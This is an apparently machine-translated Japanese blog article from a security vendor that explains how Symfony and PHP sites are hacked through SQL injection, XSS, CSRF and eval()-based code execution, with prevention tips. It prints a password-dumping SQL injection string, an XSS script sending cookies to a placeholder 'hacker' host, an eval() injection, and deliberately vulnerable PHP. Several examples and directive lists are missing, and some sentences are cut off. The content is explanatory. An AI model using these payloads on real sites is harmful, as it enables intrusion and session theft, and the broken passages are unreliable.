Symfony ウェブサイトのハッキング – 症状、原因、修正

Symfony は、ユーザーが PHP Web サイトや Web アプリケーションを簡単に作成できるようにする人気のある PHP フレームワークです。過去に、Symfony フレームワークの欠陥が原因で Drupal が影響を受けた例がありました。最終的に、これが Symfony Web サイトのハッキングにつながりました。これは Symfony フレームワークの欠陥である場合もありましたが、安全でない開発慣行は PHP Web サイトを脆弱にします。この記事を通じて、Symfony Web サイトのハッキングにつながる可能性のある重大な脆弱性と、それらを防ぐ方法を学びます。

Symfony の人気は、分離された使用可能な PHP ライブラリのセットを提供するという事実に起因する可能性があります。これらのライブラリは、開発をスピードアップし、全体的に簡単にすることができます。ただし、Symfony フレームワークを単独で使用するだけでは、PHP Web サイトを保護することはできません。 Contrast Security のデータによると、

ハッキングされた Symfony Web サイト:症状

• データベース内の疑わしいテーブル、不明なユーザー、システム上の不明なファイルは、Symfony SQL インジェクションの兆候である可能性があります。
• 疑わしいドメインにリダイレクトするポップアップや広告は、Symfony のリモート コード実行の結果である可能性があります。
• ユーザーがサイトでの検証なしにアカウントの削除やデータの操作について苦情を申し立てる場合、Symfony のクロスサイト リクエスト フォージェリが原因である可能性があります。
• Symfony に保存されたクロスサイト スクリプティングが原因で、意味不明なコンテンツがサイトに表示されます。
• すべての Symfony Web サイトがハッキングされた結果、検索エンジンはユーザーにサイトへのアクセスを警告します。

Symfony Web サイトがハッキングされた原因

ハッキングされた Symfony ウェブサイト:SQL インジェクション

Symfony SQL インジェクションは、主にサイトのデータベースを標的とする攻撃の一種です。ユーザー入力のサニタイズが行われないと、サイトが脆弱になり、Symfony Web サイトがハッキングされる可能性があります。たとえば、次のコードを見てください。

<?php $query  = "SELECT id, name, inserted, size FROM products WHERE size = '$size'"; $result = odbc_exec($conn, $query); ?> これは、SQL クエリを実行する単純な PHP コードのように見えますが、攻撃者はこれを使用して、SELECT SQL コマンドを使用してデータベースからすべてのパスワードを明らかにすることができます。 $size 変数に提供される入力は次のようになります。

'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;-- このステートメントを実行すると、user という名前のテーブルからすべてのパスワードを一覧表示できます。このステートメントの末尾にある記号「—」は、エラーを回避するために、この行の残りのコードをコメントに変換します。これはほんの一例であり、攻撃者はさまざまな方法でこれを使用して、データベースを操作、編集、削除することさえできます。一部の Symfony Web サイトのハッキング事例では、SQLi を使用してリバース シェルを取得することもできます。

ハッキングされた Symfony Web サイト:クロスサイト スクリプティング

XSS は、ユーザー入力のサニタイズが適切に行われていないために発生する、広く発見されている脆弱性です。この脆弱性は、検索ボックスやメッセージ ボードなどでよく見られます。攻撃者は、XSS によってハッキングされた Symfony Web サイトを使用して Cookie を盗み、セッションを乗っ取ることができます。たとえば、次のコードを使用して検索クエリを作成すると、攻撃者はそれをクリックした人の Cookie を盗むことができます。

"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT> ここで「>」文字は前のタグを閉じます。その後、image() コンストラクターは変数「img」に新しい画像を作成します。次の行で画像のソースを特定し、同じ行で document.cookie メソッドを使用してセッション テイクオーバー用の Cookie を取得します。

XSS が保存されているか永続的である場合、誰かが感染したページを開いたときにこのスクリプトが Cookie を自動的に盗むため、さらに危険です。一方、反映された XSS はソーシャル エンジニアリング攻撃に依存しています。 Cookie 盗用だけでなく、XSS によってハッキングされた Symfony Web サイトは、あらゆる種類のフィッシング攻撃にも使用される可能性があります!ハッキングされた Symfony Web サイトの修復についてサポートが必要ですか?今すぐサイトをクリーンアップ

ハッキングされた Symfony ウェブサイト:クロスサイト リクエスト フォージェリ

攻撃者は CSRF を使用して、被害者にアカウントの削除、ユーザー データの操作などの不要なタスクを実行させることができます。たとえば、ユーザーがサイトにログインしているときに、以下に示すような特別に細工されたページにアクセスすると、アカウント。 このページでは、アクションの「削除」値を使用してユーザー アカウントを削除します。攻撃者は CSRF を使用してさまざまな攻撃を実行できますが、それらが正常に実行されたことを確認するメカニズムはありません。

ハッキングされた Symfony Web サイト:リモートでコードが実行される

Symphony を使用する Web サイトでは、コーディング標準が不十分なため、リモート コード実行が発生します。上記のすべての攻撃における最大のセキュリティ問題は、ユーザー入力を信頼することです。たとえば、PHP コードで eval() 関数を不適切に使用すると、次のようになります。

$myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;"); これは、引数を受け取り、eval 関数を使用して文字列を PHP コードとして実行する、非常に単純なコードのように見えます。しかし、入力はフィルタリングされていないため、攻撃者は /index.php?arg=1; phpinfo() のような値を提供できます。 これにより、phpinfo() 関数のコードが実行されます。

ハッキングされた Symfony Web サイト:安全な開発プラクティス

• Symfony ウェブサイトへの SQLi 攻撃を防ぐには、準備済みステートメントを使用してください。
• Symfony の Web サイトで XSS 攻撃を防ぐには、関数 htmlspecialchars() を使用します。ユーザー入力をブラウザーに出力として表示する必要がある場合は常にこの関数を実装してください。
• 次のような CSRF 攻撃を避けるために、ページにランダムなトークンを隠して実装します。 ?>”>
• RCE を防ぐには、php.ini ファイルで次の PHP ディレクティブを使用してすべての危険な機能を無効にします。
• 重要なのは、Symfony Web サイトでのユーザー入力を信頼しないことで、ほとんどの脆弱性を回避できるということです。
• ウェブサイトに脆弱性が潜んでいる疑いがある場合は、完全なセキュリティ監査を受けてください。

アストラ

機械学習を利用したマルウェア スキャナーとインテリジェントなファイアウォールにより、Web サイトのセキュリティがさらに強化されます。プランは小規模なウェブサイトにも柔軟に対応できるため、これらすべてが手頃な価格で提供されます. Astra Web Protection の無料トライアルを今すぐ入手!